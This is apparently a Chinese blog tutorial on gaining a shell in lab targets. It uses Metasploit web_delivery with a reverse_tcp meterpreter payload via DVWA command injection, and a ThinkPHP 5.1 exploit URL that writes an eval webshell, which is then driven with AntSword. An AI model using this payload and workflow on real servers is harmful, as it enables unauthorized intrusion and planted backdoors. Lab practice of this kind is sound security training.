MSF-从webshell到完全控制


一、访问web站点,寻找漏洞

示例是在DVWA上的Command injection部分在low级别下进行的
在这里插入图片描述

当受害者主机存在比如命令注入、远程命令执行等问题时,攻击者可以利用web_delivery生成的一条命令建立连接。web_delivery支持php/python/powershell多种脚本。

进入msf,search web_delivery,选择

use exploit/multi/script/web_delivery

其默认脚本语言是python,如果要更换脚本语言可以show targets查看可以更换的语言的代号
在这里插入图片描述

set lhost = Your IP Address
set lport = Your Port
运行以后它会生成一条指令,只要目标机器运行这条指令我们就能建立session
在这里插入图片描述

在DVWA中直接输入这条命令,就能获取meterpreter

现在更换脚本语言为powershell,同时还要改变payload(在win7之后版本有效)

set target 2
set payload windows/meterpreter/reverse_tcp

如果提示端口被占用可以更换端口,或者jobs查看正在工作的端口,jobs -k ID 关闭该进程。
运行以后可以得到一条新的命令,能正确显示windows版本的语言

二、利用thinkphp 5.1漏洞

thinkphp是一个开源的php框架

我们输入URL
192.168.123.160/html/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&
content=<?php%20eval($_POST[c]);?>
加粗部分就是一个webshell,最开头的是攻击目标的IP地址,接着的是你存放shell.php的文件路径,也就是说shell.php会和index.php在一个文件夹中

在目标主机植入webshell以后就要用到webshell管理工具,这里介绍蚁剑
右键添加数据,URL地址填写192.168.123.160/html/public/shell.php
连接密码就是POST[]里的内容:c
在这里插入图片描述

连接成功后双击就可以进入攻击目标的文件目录,右键还可以打开虚拟终端。至此就得到了一个目标主机的shell,还可以上传我们的后门文件。


题外话

以上介绍的两种方法需要两台主机能够连接,也就是它们要能互相ping通,这是reverse_tcp的基本要求。但是如果目标在公网,攻击者在内网,那么攻击者能ping通公网的目标,但是公网的目标ping不通攻击者,这个时候reverse_tcp就不能使用了,可以使用bind_tcp(绑定tcp)。但如果靶机连接不到攻击者,web_delievry就无法使用。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值